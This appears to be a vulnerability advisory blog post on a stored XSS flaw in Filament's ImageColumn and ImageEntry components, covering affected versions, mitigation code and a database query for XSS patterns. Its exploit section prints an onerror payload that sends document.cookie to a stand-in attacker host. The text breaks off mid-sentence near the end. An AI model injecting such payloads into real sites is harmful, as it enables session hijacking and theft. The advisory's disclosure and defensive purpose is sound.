Filament (Laravel), Stored XSS via Unescaped ImageColumn/ImageEntry, CVE-2026-48167 (Moderate severity) -DC-Jun2026-610

Listen to this Post

– How CVE-2026-48167 Works

Filament is a popular full‑stack component collection for accelerated Laravel development. Among its many UI components, `ImageColumn` (used in tables) and `ImageEntry` (used in infolists) are designed to display image URLs stored in the database. These components accept a raw database value – typically a URL or a path – and render it inside an `` tag.
The vulnerability arises because these components do not HTML‑escape the database value before rendering it. If an attacker can write arbitrary data into the underlying database column (for example, through a form input, an API endpoint, or a direct database injection), they can store a malicious payload instead of a legitimate image URL. The payload can be crafted as a string that contains HTML tags or JavaScript code.
When a user later visits a page that displays this column or entry, the component blindly outputs the stored value into the page’s DOM. Since the value is not sanitized or escaped, the browser interprets any HTML or JavaScript inside it as active code. This results in a stored (persistent) Cross‑Site Scripting (XSS) attack: the malicious script executes in the context of the victim’s session, potentially allowing the attacker to steal cookies, perform actions on behalf of the user, or deface the page.
The vulnerability affects all Filament versions from `4.0.0` up to (but not including) 4.11.5, and from `5.0.0` up to (but not including) 5.6.5. The root cause is the lack of proper output encoding for these two components – a classic example of CWE‑79: Improper Neutralization of Input During Web Page Generation.
An attacker needs write access to the data source (e.g., the ability to insert or update records in the relevant database table). This could be achieved through any feature that allows user‑supplied content to be stored and later displayed in an `ImageColumn` or ImageEntry. The attack does not require any user interaction beyond viewing the affected page; the script executes automatically when the page loads.
The vulnerability was discovered and reported by Basant Kumar (@CyberWarrior9). The Filament team addressed it by adding proper HTML escaping in the rendering logic of `ImageColumn` and ImageEntry. The fix was released in versions `4.11.5` and 5.6.5.

DailyCVE Form

Platform: Filament (Laravel)
Version: 4.0.0‑4.11.4, 5.0.0‑5.6.4
Vulnerability: Stored XSS (CWE‑79)
Severity: Medium (CVSS 6.4)
Date: 2026‑06‑22

Prediction: 2026‑06‑23 (patches released)

What Undercode Say – Analytics & Commands

To determine if your Filament installation is vulnerable, check the installed version of the `filament/tables` and `filament/infolists` packages:

composer show filament/tables | grep versions
composer show filament/infolists | grep versions

Example output for a vulnerable installation:

versions : 5.6.4

To immediately mitigate the risk without updating, you can override the column rendering by passing a custom `formatStateUsing()` closure that escapes the output:

use Illuminate\Support\Str;
ImageColumn::make('avatar')
->formatStateUsing(fn ($state) => e($state)) // e() escapes HTML

Or, for a more robust solution, use Laravel’s `strip_tags()` or a custom sanitizer:

ImageColumn::make('avatar')
->formatStateUsing(fn ($state) => strip_tags($state))

However, these are temporary workarounds; the permanent fix is to upgrade to a patched version.
To check if your application is being exploited, search your database for suspicious patterns commonly used in XSS payloads, such as <script>, javascript:, onerror=, or onload=:

SELECT FROM your_table WHERE image_column LIKE '%<script>%'
OR image_column LIKE '%javascript:%'
OR image_column LIKE '%onerror=%';

Exploit – How an Attacker Can Abuse It

An attacker with the ability to insert or update records can supply a payload like the following into a field that is later rendered by `ImageColumn` or ImageEntry:

https://example.com/image.jpg" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)

When the component renders this as:

<img src="https://example.com/image.jpg" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

The `onerror` event fires because the image fails to load (or even if it loads, the payload is still executed). The attacker’s server receives the victim’s session cookie.

Another common payload uses a `javascript:` URI:

javascript:alert('XSS')

Or a full `
Scroll to Top